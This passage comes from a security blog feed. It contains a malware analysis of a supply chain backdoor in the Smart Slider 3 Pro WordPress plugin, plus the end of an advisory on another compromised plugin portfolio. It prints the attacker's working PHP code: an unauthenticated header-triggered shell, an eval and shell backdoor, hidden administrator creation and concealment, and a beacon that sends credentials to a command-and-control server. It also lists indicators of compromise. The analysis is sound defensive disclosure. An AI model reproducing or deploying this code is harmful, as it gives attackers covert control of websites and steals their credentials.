&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/wp-featured-content-and-slider/&quot;&gt;WP Featured Content and Slider&lt;/a&gt; (1k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/ticker-ultimate/&quot;&gt;Post Ticker Ultimate&lt;/a&gt; (1k+ active installs)&lt;/li&gt;



&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/html5-videogallery-plus-player&quot;&gt;Video gallery and Player&lt;/a&gt; (1k+ active installs)&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Indicators of Compromise (IOC)&lt;/strong&gt;&lt;/h2&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Files&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;wp-comments-posts.php&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Modifications in  &lt;code&gt;wp-config.php&lt;/code&gt; file&lt;/li&gt;
&lt;/ul&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This incident is a textbook example of a supply chain compromise in the WordPress ecosystem. A trusted plugin vendor, EssentialPlugin, sold their portfolio of 25+ plugins on Flippa, and the new owner turned out to be a malicious actor. After the acquisition, the attacker planted a dormant backdoor across all the plugins disguised as a routine compatibility update. Seven months later, the attacker activated it by serving malicious serialized payloads through their controlled server, turning an innocent-looking analytics module into a fully weaponized backdoor that could write arbitrary files and compromise any site running the affected plugins. This case is a stark reminder that plugin ownership changes can introduce serious security risks, and site administrators should treat such transitions with caution.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Want to learn more about finding and fixing vulnerabilities?&lt;/h2&gt;


&lt;div class=&quot;block-vuln-cta wp-block-patchstack-general-blocks-vuln-cta-end&quot;&gt;
    &lt;p class=&quot;block-vuln-cta__title&quot;&gt;🤝 You can help us make the Internet a safer place&lt;/p&gt;
    &lt;div class=&quot;blocks-container--center blocks-grid--3&quot;&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Plugin developer?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Streamline your disclosure process to fix vulnerabilities faster and comply with CRA.&lt;/p&gt;
            &lt;a href=&quot;/for-plugins/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Get started for free&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Hosting company?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Protect your users too! Improve server health and earn added revenue with proactive security.&lt;/p&gt;
            &lt;a href=&quot;/for-hosts/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Patchstack for hosts&lt;/a&gt;
        &lt;/div&gt;
        &lt;div class=&quot;a-fade-up general-card general-card--light general-card--s&quot;&gt;
            &lt;span class=&quot;general-card__title&quot;&gt;Security researcher?&lt;/span&gt;
            &lt;p class=&quot;general-card__text&quot;&gt;Report vulnerabilities to our gamified bug bounty program to earn monthly cash rewards.&lt;/p&gt;
            &lt;a href=&quot;/bug-bounty/&quot; class=&quot;btn btn--primary btn--s general-card__link&quot;&gt;Learn more&lt;/a&gt;
        &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;</content:encoded><category>Featured</category><category>Security Advisories</category><author>Ananda Dhakal</author></item><item><title>Critical Supply Chain Compromise in Smart Slider 3 Pro: Full Malware Analysis</title><link>https://patchstack.com/articles/critical-supply-chain-compromise-in-smart-slider-3-pro-full-malware-analysis/</link><guid isPermaLink="true">https://patchstack.com/articles/critical-supply-chain-compromise-in-smart-slider-3-pro-full-malware-analysis/</guid><description>This blog post is a technical analysis of the supply chain compromise affecting Smart Slider 3 Pro version 3.5.1.35 for WordPress. An unauthorized party gained access to Nextend’s update infrastructure and distributed a fully attacker-authored build through the official update channel. Any site that updated to 3.5.1.35 between its release on april 7, 2026 and […]
</description><pubDate>Thu, 09 Apr 2026 11:27:20 GMT</pubDate><content:encoded>
&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This blog post is a technical analysis of the supply chain compromise affecting &lt;strong&gt;Smart Slider 3 Pro version 3.5.1.35&lt;/strong&gt; for WordPress. An unauthorized party gained access to Nextend’s update infrastructure and distributed a fully attacker-authored build through the official update channel.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Any site that updated to 3.5.1.35 between its release on &lt;strong&gt;april 7, 2026&lt;/strong&gt; and its detection approximately 6 hours later received a fully weaponized remote access toolkit. If you are running Smart Slider 3 Pro, ensure you are on at least version &lt;strong&gt;3.5.1.36&lt;/strong&gt;.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The Patchstack vulnerability database entry can be found &lt;a href=&quot;https://patchstack.com/database/wordpress/plugin/nextend-smart-slider3-pro/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-35-backdoor-vulnerability&quot;&gt;here&lt;/a&gt;. While Patchstack has released a mitigation rule to protect against exploitation, it does not guarantee complete protection if the site has already been infected with malware.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;About the Smart Slider 3 plugin&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Smart Slider 3 is a popular WordPress slider plugin developed by &lt;a href=&quot;https://smartslider3.com/&quot;&gt;Nextend&lt;/a&gt;, with over 800,000 active installations across its free and Pro editions. It provides a drag-and-drop visual editor for building responsive image, video, and post sliders, and integrates with major page builders like Elementor, Divi, and Beaver Builder.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The plugin is widely used by agencies, freelancers, and site owners alike, making it a high-value target for supply chain attacks.&lt;/p&gt;



&lt;figure class=&quot;wp-block-image aligncenter size-full&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; width=&quot;1192&quot; height=&quot;681&quot; src=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/nextend-smart-slider-3-screenshot.png&quot; alt=&quot;&quot; class=&quot;wp-image-25815&quot; srcset=&quot;https://wp.patchstack.com/wp-content/uploads/2026/04/nextend-smart-slider-3-screenshot.png 1192w, https://wp.patchstack.com/wp-content/uploads/2026/04/nextend-smart-slider-3-screenshot-300x171.png 300w, https://wp.patchstack.com/wp-content/uploads/2026/04/nextend-smart-slider-3-screenshot-1024x585.png 1024w, https://wp.patchstack.com/wp-content/uploads/2026/04/nextend-smart-slider-3-screenshot-768x439.png 768w&quot; sizes=&quot;auto, (max-width: 1192px) 100vw, 1192px&quot; /&gt;&lt;/figure&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;What happened&lt;/strong&gt;&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Nextend has confirmed that an unauthorized party breached their update infrastructure and made unauthorized changes to Smart Slider 3 Pro version 3.5.1.35, the latest one at that time. This is a &lt;strong&gt;supply chain compromise&lt;/strong&gt;: the attacker injected their own malicious code into the plugin and shipped it through the legitimate update channel. Every site that clicked “update” or ran an automatic component update willingly installed the backdoor, trusting the official distribution system.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;According to Nextend, the compromised version was &lt;a href=&quot;https://wordpress.org/support/topic/smart-slider-3-pro-update/&quot;&gt;accessible through their update server for approximately 6 hours&lt;/a&gt; before it was detected and pulled. A clean version 3.5.1.36 has since been released, and Nextend has published security advisories for both WordPress and Joomla editions.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Only the &lt;strong&gt;Pro version&lt;/strong&gt; of Smart Slider 3 is affected. The free version distributed through the WordPress.org plugin repository was not compromised. If version 3.5.1.35 was ever installed on your site, even briefly, the site should be treated as &lt;strong&gt;fully compromised&lt;/strong&gt; and a cleanup should be performed as soon as possible (&lt;a href=&quot;https://smartslider.helpscoutdocs.com/article/2144-wordpress-security-advisory-smart-slider-3-pro-3-5-1-35-compromise&quot;&gt;see Nextend guide here&lt;/a&gt;).&lt;/p&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;Technical analysis of the malware&lt;/h2&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Patchstack received the infected plugin main file for analysis. We identified extensive malicious code injected into the plugin’s main PHP file, while the attacker preserved the legitimate plugin header and the bootstrap logic at the bottom of the file (the PHP/WordPress version checks and the &lt;code&gt;require_once plugin.php&lt;/code&gt; call), so the plugin still loads and functions normally.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Between these two legitimate sections, the attacker stripped out the original &lt;code&gt;pre_http_request&lt;/code&gt; filter (which handled asset downloads) and injected a multi-layered backdoor in its place. The result is a file that looks and behaves like a working plugin while silently providing full remote access to the server.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware operates in several stages, each designed to ensure deep, persistent, and redundant access to the compromised site.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;1. Pre-authentication remote command execution via HTTP headers&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The very first block of injected code sits outside any WordPress hook and executes on every single page load, including the frontend. It checks for a custom HTTP header &lt;code&gt;X-Cache-Status&lt;/code&gt; with the hardcoded value &lt;code&gt;nw9xQmK4&lt;/code&gt;. When this header is present, the code immediately:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Flushes any output buffers and suppresses all error reporting&lt;/li&gt;



&lt;li&gt;Reads a second header, &lt;code&gt;X-Cache-Key&lt;/code&gt;, base64-decodes its value, and passes it directly to &lt;code&gt;shell_exec()&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Outputs the command result and terminates execution&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;This gives the attacker an unauthenticated remote shell. We noted as well that the use of generic cache-related header names is a deliberate evasion technique designed to blend in with CDN or reverse proxy traffic.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;/* @internal cache-init */
if (isset($_SERVER[&amp;quot;HTTP_X_CACHE_STATUS&amp;quot;]) &amp;amp;&amp;amp; $_SERVER[&amp;quot;HTTP_X_CACHE_STATUS&amp;quot;] === &amp;quot;nw9xQmK4&amp;quot;) {
    @ob_end_clean();
    @error_reporting(0);
    header(&amp;quot;Content-Type:text/plain&amp;quot;);
    $ck = isset($_SERVER[&amp;quot;HTTP_X_CACHE_KEY&amp;quot;]) ? $_SERVER[&amp;quot;HTTP_X_CACHE_KEY&amp;quot;] : &amp;quot;aWQ=&amp;quot;;
    echo @shell_exec(base64_decode($ck) . &amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;);
    exit;
}&lt;/code&gt;&lt;/pre&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;2. Authenticated backdoor with dual execution modes&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The main backdoor body registers an &lt;code&gt;init&lt;/code&gt; action operating behind a secret key stored in the &lt;code&gt;_wpc_ak&lt;/code&gt; WordPress option. When a request includes the GET parameter &lt;code&gt;_chk&lt;/code&gt; matching this key, the backdoor activates.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;It supports two modes, controlled by the &lt;code&gt;m&lt;/code&gt; GET parameter:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;PHP mode (&lt;code&gt;m=php&lt;/code&gt;):&lt;/strong&gt; Base64-decodes the POST parameter &lt;code&gt;d&lt;/code&gt; and passes it directly to &lt;code&gt;eval()&lt;/code&gt;. This allows execution of arbitrary PHP code on the server, giving the attacker full control over the WordPress application layer, database, and filesystem.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;Shell mode (default):&lt;/strong&gt; Base64-decodes the same POST parameter and attempts to execute it as an OS command. The code iterates through six different execution functions (&lt;code&gt;shell_exec&lt;/code&gt;, &lt;code&gt;exec&lt;/code&gt;, &lt;code&gt;system&lt;/code&gt;, &lt;code&gt;passthru&lt;/code&gt;, &lt;code&gt;proc_open&lt;/code&gt;, and &lt;code&gt;popen&lt;/code&gt;) and uses the first one that is available and not in the &lt;code&gt;disable_functions&lt;/code&gt; list. This fallback chain ensures command execution succeeds even on hardened PHP configurations.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;if ($ak &amp;amp;&amp;amp; isset($_GET[&amp;quot;_chk&amp;quot;]) &amp;amp;&amp;amp; $_GET[&amp;quot;_chk&amp;quot;] === $ak) {
            while (@ob_end_clean()) {}
            @error_reporting(0);
            @ini_set(&amp;quot;display_errors&amp;quot;, &amp;quot;0&amp;quot;);
            header_remove();
            header(&amp;quot;Content-Type: text/plain&amp;quot;);
            header(&amp;quot;Cache-Control: no-store&amp;quot;);
            header(&amp;quot;X-Robots-Tag: noindex&amp;quot;);

            $mode = isset($_GET[&amp;quot;m&amp;quot;]) ? $_GET[&amp;quot;m&amp;quot;] : &amp;quot;sh&amp;quot;;
            $raw  = isset($_POST[&amp;quot;d&amp;quot;]) ? $_POST[&amp;quot;d&amp;quot;] : &amp;quot;&amp;quot;;
            $data = base64_decode($raw);

            if (!$data) { echo &amp;quot;OK&amp;quot;; die(); }

            if ($mode === &amp;quot;php&amp;quot;) {
                ob_start();
                try { eval($data); } catch (\Throwable $e) { echo &amp;quot;PHP_ERR: &amp;quot; . $e-&amp;gt;getMessage(); }
                $out = ob_get_clean();
                echo ($out !== false &amp;amp;&amp;amp; $out !== &amp;quot;&amp;quot;) ? $out : &amp;quot;(no output)&amp;quot;;
                die();
            }

            $disabled = array_map(&amp;quot;trim&amp;quot;, explode(&amp;quot;,&amp;quot;, ini_get(&amp;quot;disable_functions&amp;quot;)));
            $out = null;
            foreach (array(&amp;quot;shell_exec&amp;quot;,&amp;quot;exec&amp;quot;,&amp;quot;system&amp;quot;,&amp;quot;passthru&amp;quot;,&amp;quot;proc_open&amp;quot;,&amp;quot;popen&amp;quot;) as $fn) {
                if (!function_exists($fn) || in_array($fn, $disabled)) continue;
                switch ($fn) {
                    case &amp;quot;shell_exec&amp;quot;: $out = @shell_exec($data . &amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;); break 2;
                    case &amp;quot;exec&amp;quot;: $l=array(); @exec($data.&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;,$l); $out=implode(&amp;quot;
&amp;quot;,$l); break 2;
                    case &amp;quot;system&amp;quot;: ob_start(); @system($data.&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;); $out=ob_get_clean(); break 2;
                    case &amp;quot;passthru&amp;quot;: ob_start(); @passthru($data.&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;); $out=ob_get_clean(); break 2;
                    case &amp;quot;proc_open&amp;quot;:
                        $p=@proc_open($data,array(1=&amp;gt;array(&amp;quot;pipe&amp;quot;,&amp;quot;w&amp;quot;),2=&amp;gt;array(&amp;quot;pipe&amp;quot;,&amp;quot;w&amp;quot;)),$pp);
                        if(is_resource($p)){$out=stream_get_contents($pp[1]).stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}
                        break 2;
                    case &amp;quot;popen&amp;quot;:
                        $h=@popen($data.&amp;quot; 2&amp;gt;&amp;amp;1&amp;quot;,&amp;quot;r&amp;quot;); if($h){$out=stream_get_contents($h);pclose($h);} break 2;
                }
            }
            if ($out === null || $out === false || trim($out) === &amp;quot;&amp;quot;) {
                $out = &amp;quot;NOSHELL
php=&amp;quot; . PHP_VERSION . &amp;quot;
os=&amp;quot; . PHP_OS . &amp;quot;
user=&amp;quot; . get_current_user()
                     . &amp;quot;
disabled=&amp;quot; . ini_get(&amp;quot;disable_functions&amp;quot;) . &amp;quot;
cwd=&amp;quot; . getcwd();
            }
            echo $out;
            die();
        }&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;If no shell function is available, the backdoor returns a diagnostic payload containing the PHP version, operating system, current user, disabled functions list, and working directory.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;3. Hidden administrator account creation&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The persistence function &lt;code&gt;_wpc_deploy_persistence()&lt;/code&gt; creates a rogue WordPress administrator account designed to survive plugin removal:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;strong&gt;Username:&lt;/strong&gt; &lt;code&gt;wpsvc_&lt;/code&gt; followed by a 4-character hash derived from the site URL (ex: &lt;code&gt;wpsvc_a3f1&lt;/code&gt;)&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Email:&lt;/strong&gt; &lt;code&gt;kiziltxt2@gmail.com&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Display name:&lt;/strong&gt; “WordPress Service”, chosen to look like a legitimate system account&lt;/li&gt;



&lt;li&gt;&lt;strong&gt;Role:&lt;/strong&gt; Administrator&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The generated password is 16 characters, random, and stored along with the username and email in the &lt;code&gt;_wpc_uinfo&lt;/code&gt; WordPress option as a base64-encoded JSON blob. This means the attacker can retrieve the plaintext credentials at any time through any of the backdoor entry points.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;function _wpc_deploy_persistence($ak) {
    global $wpdb;

    $uname = &amp;quot;wpsvc_&amp;quot; . substr(md5(get_option(&amp;quot;siteurl&amp;quot;)), 0, 4);
    $uemail = &amp;quot;kiziltxt2@gmail.com&amp;quot;;
    $existing = get_user_by(&amp;quot;login&amp;quot;, $uname);
    if (!$existing) {
        $pass = wp_generate_password(16, false, false);
        $uid  = wp_insert_user(array(
            &amp;quot;user_login&amp;quot; =&amp;gt; $uname,
            &amp;quot;user_pass&amp;quot;  =&amp;gt; $pass,
            &amp;quot;user_email&amp;quot; =&amp;gt; $uemail,
            &amp;quot;role&amp;quot;       =&amp;gt; &amp;quot;administrator&amp;quot;,
            &amp;quot;display_name&amp;quot; =&amp;gt; &amp;quot;WordPress Service&amp;quot;,
        ));
        if (!is_wp_error($uid)) {
            update_option(&amp;quot;_wpc_uid&amp;quot;, $uid, false);
            update_option(&amp;quot;_wpc_uinfo&amp;quot;, base64_encode(json_encode(array(
                &amp;quot;u&amp;quot; =&amp;gt; $uname, &amp;quot;p&amp;quot; =&amp;gt; $pass, &amp;quot;e&amp;quot; =&amp;gt; $uemail
            ))), false);
            update_user_meta($uid, &amp;quot;show_admin_bar_front&amp;quot;, &amp;quot;false&amp;quot;);
        }
    } else {
        update_option(&amp;quot;_wpc_uid&amp;quot;, $existing-&amp;gt;ID, false);
    }
[...]&lt;/code&gt;&lt;/pre&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The user ID is stored separately in &lt;code&gt;_wpc_uid&lt;/code&gt;, and the &lt;code&gt;show_admin_bar_front&lt;/code&gt; user meta is also set to &lt;code&gt;false&lt;/code&gt; so the admin bar doesn’t appear on the frontend for this account.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;4. User hiding from the admin interface&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Two filters work together to make the rogue account invisible to legitimate administrators:&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;The &lt;code&gt;pre_user_query&lt;/code&gt; filter&lt;/strong&gt; modifies every user list query in the admin area by appending a &lt;code&gt;WHERE&lt;/code&gt; clause that excludes the hidden user’s ID. This means the account will never appear in the Users screen, even when searching directly.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;The &lt;code&gt;views_users&lt;/code&gt; filter&lt;/strong&gt; adjusts the role count badges displayed at the top of the Users screen (ex: “All (5)” / “Administrator (2)”). It decrements these counts so the numbers remain consistent, preventing administrators from noticing the discrepancy of an extra user that doesn’t appear in the list.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;add_action(&amp;quot;pre_user_query&amp;quot;, function ($q) {
        global $wpdb;
        if (is_admin() &amp;amp;&amp;amp; isset($q-&amp;gt;query_where)) {
            $hidden = get_option(&amp;quot;_wpc_uid&amp;quot;, 0);
            if ($hidden) {
                $q-&amp;gt;query_where .= $wpdb-&amp;gt;prepare(&amp;quot; AND {$wpdb-&amp;gt;users}.ID != %d&amp;quot;, $hidden);
            }
        }
    });

    add_filter(&amp;quot;views_users&amp;quot;, function ($views) {
        $hidden = get_option(&amp;quot;_wpc_uid&amp;quot;, 0);
        if (!$hidden) return $views;
        foreach ($views as $role =&amp;gt; &amp;amp;$view) {
            if (preg_match(&amp;#39;/\((\d+)\)/&amp;#39;, $view, $m)) {
                $count = max(0, intval($m[1]) - ($role === &amp;quot;all&amp;quot; || $role === &amp;quot;administrator&amp;quot; ? 1 : 0));
                $view = preg_replace(&amp;#39;/\(\d+\)/&amp;#39;, &amp;quot;($count)&amp;quot;, $view);
            }
        }
        return $views;
    });&lt;/code&gt;&lt;/pre&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;5. Credential and access key storage in WordPress options&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware uses three custom WordPress options, all set with &lt;code&gt;autoload&lt;/code&gt; disabled to reduce their visibility in option dumps:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;_wpc_ak&lt;/code&gt;: The secret authentication key (24 hex characters) used to gate access to all backdoor endpoints&lt;/li&gt;



&lt;li&gt;&lt;code&gt;_wpc_uid&lt;/code&gt;: The user ID of the hidden administrator account&lt;/li&gt;



&lt;li&gt;&lt;code&gt;_wpc_uinfo&lt;/code&gt;: Base64-encoded JSON containing the plaintext username, password, and email of the rogue account&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;These options serve as the shared state across all persistence layers and are the first thing the attacker checks upon gaining access through any entry point.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;6. Persistence across multiple locations using three additional redundant backdoors&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Removing the plugin alone is not enough to eliminate the threat since the &lt;code&gt;_wpc_deploy_persistence()&lt;/code&gt; function also installs copies of the backdoor in three additional locations, ensuring re-entry even after the compromised plugin is deleted.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;a) Must-Use Plugin: &lt;code&gt;wp-content/mu-plugins/object-cache-helper.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware creates the &lt;code&gt;mu-plugins&lt;/code&gt; directory if it doesn’t exist, then writes a must-use plugin with a filename designed to look like a legitimate caching component. Must-use plugins are loaded automatically by WordPress on every request, they cannot be deactivated through the admin interface and don’t appear in the standard Plugins screen.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;b) Theme infection: &lt;code&gt;functions.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware reads the active theme’s &lt;code&gt;functions.php&lt;/code&gt; file and checks whether it has already been infected. If clean, it appends an identical backdoor snippet to the end of the file. Since &lt;code&gt;functions.php&lt;/code&gt; is loaded by WordPress on every request as part of the active theme, this backdoor survives plugin removal and persists as long as the theme is active.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;strong&gt;c) Core file injection: &lt;code&gt;wp-includes/class-wp-locale-helper.php&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The malware drops a new PHP file into WordPress’s core &lt;code&gt;wp-includes&lt;/code&gt; directory, using a filename that mimics a legitimate WordPress core class. Unlike the other persistence layers, this backdoor does not depend on the WordPress database, but reads its authentication key from a &lt;code&gt;.cache_key&lt;/code&gt; file stored in the same directory. This means it can survive database credential changes and works even if WordPress fails to bootstrap fully.&lt;/p&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;7. Command-and-control registration and data exfiltration&lt;/h3&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The final stage is the &lt;code&gt;_wpc_register_c2()&lt;/code&gt; function, which transmits data to &lt;code&gt;https://wpjs1.com/api/v3/register-agent&lt;/code&gt; with a comprehensive JSON payload containing:&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;The site’s home URL&lt;/li&gt;



&lt;li&gt;The secret backdoor key&lt;/li&gt;



&lt;li&gt;The site’s hostname&lt;/li&gt;



&lt;li&gt;Smart Slider version, WordPress version, and PHP version&lt;/li&gt;



&lt;li&gt;The WordPress admin email address&lt;/li&gt;



&lt;li&gt;The database name&lt;/li&gt;



&lt;li&gt;The server software string&lt;/li&gt;



&lt;li&gt;The &lt;strong&gt;plaintext username and password&lt;/strong&gt; of the hidden administrator account&lt;/li&gt;



&lt;li&gt;A list of all installed persistence layers (&lt;code&gt;plugin,admin,mu,func,inc&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;The &lt;code&gt;sslverify&lt;/code&gt; parameter is set to &lt;code&gt;false&lt;/code&gt;, ensuring the request transmits even if the C2 domain uses a self-signed or expired certificate.&lt;/p&gt;



&lt;pre class=&quot;wp-block-code&quot;&gt;&lt;code&gt;function _wpc_register_c2($ak) {
    global $wpdb;

    $uinfo = get_option(&amp;quot;_wpc_uinfo&amp;quot;, &amp;quot;&amp;quot;);
    $creds = $uinfo ? json_decode(base64_decode($uinfo), true) : array();

    $info = array(
        &amp;quot;url&amp;quot;  =&amp;gt; home_url(&amp;quot;/&amp;quot;),
        &amp;quot;key&amp;quot;  =&amp;gt; $ak,
        &amp;quot;name&amp;quot; =&amp;gt; parse_url(home_url(), PHP_URL_HOST),
        &amp;quot;note&amp;quot; =&amp;gt; json_encode(array(
            &amp;quot;ss3&amp;quot;    =&amp;gt; &amp;quot;3.5.1.35&amp;quot;,
            &amp;quot;wp&amp;quot;     =&amp;gt; get_bloginfo(&amp;quot;version&amp;quot;),
            &amp;quot;php&amp;quot;    =&amp;gt; PHP_VERSION,
            &amp;quot;email&amp;quot;  =&amp;gt; get_option(&amp;quot;admin_email&amp;quot;),
            &amp;quot;db&amp;quot;     =&amp;gt; $wpdb-&amp;gt;dbname,
            &amp;quot;sv&amp;quot;     =&amp;gt; isset($_SERVER[&amp;quot;SERVER_SOFTWARE&amp;quot;]) ? $_SERVER[&amp;quot;SERVER_SOFTWARE&amp;quot;] : &amp;quot;&amp;quot;,
            &amp;quot;adm_u&amp;quot;  =&amp;gt; isset($creds[&amp;quot;u&amp;quot;]) ? $creds[&amp;quot;u&amp;quot;] : &amp;quot;&amp;quot;,
            &amp;quot;adm_p&amp;quot;  =&amp;gt; isset($creds[&amp;quot;p&amp;quot;]) ? $creds[&amp;quot;p&amp;quot;] : &amp;quot;&amp;quot;,
            &amp;quot;adm_e&amp;quot;  =&amp;gt; &amp;quot;kiziltxt2@gmail.com&amp;quot;,
            &amp;quot;layers&amp;quot; =&amp;gt; &amp;quot;plugin,admin,mu,func,inc&amp;quot;,
        )),
    );

    define(&amp;quot;_WPC_BEACON&amp;quot;, true);
    @wp_remote_post(&amp;quot;https://wpjs1.com/api/v3/register-agent&amp;quot;, array(
        &amp;quot;body&amp;quot;      =&amp;gt; json_encode($info),
        &amp;quot;headers&amp;quot;   =&amp;gt; array(&amp;quot;Content-Type&amp;quot; =&amp;gt; &amp;quot;application/json&amp;quot;),
        &amp;quot;timeout&amp;quot;   =&amp;gt; 8,
        &amp;quot;blocking&amp;quot;  =&amp;gt; true,
        &amp;quot;sslverify&amp;quot; =&amp;gt; false,
    ));
}&lt;/code&gt;&lt;/pre&gt;



&lt;h2 class=&quot;wp-block-heading&quot;&gt;&lt;strong&gt;Indicators of Compromise (IOC)&lt;/strong&gt;&lt;/h2&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Files&lt;/h3&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;&lt;code&gt;wp-content/mu-plugins/object-cache-helper.php&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;&lt;code&gt;wp-includes/class-wp-locale-helper.php&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;&lt;code&gt;wp-includes/.cache_key&lt;/code&gt;&lt;/li&gt;



&lt;li&gt;Modifications to the active theme’s &lt;code&gt;functions.php&lt;/code&gt; (search for &lt;code&gt;_wpc_ak&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;



&lt;h3 class=&quot;wp-block-heading&quot;&gt;Database entries (wp_options table)&lt;/h3&gt;



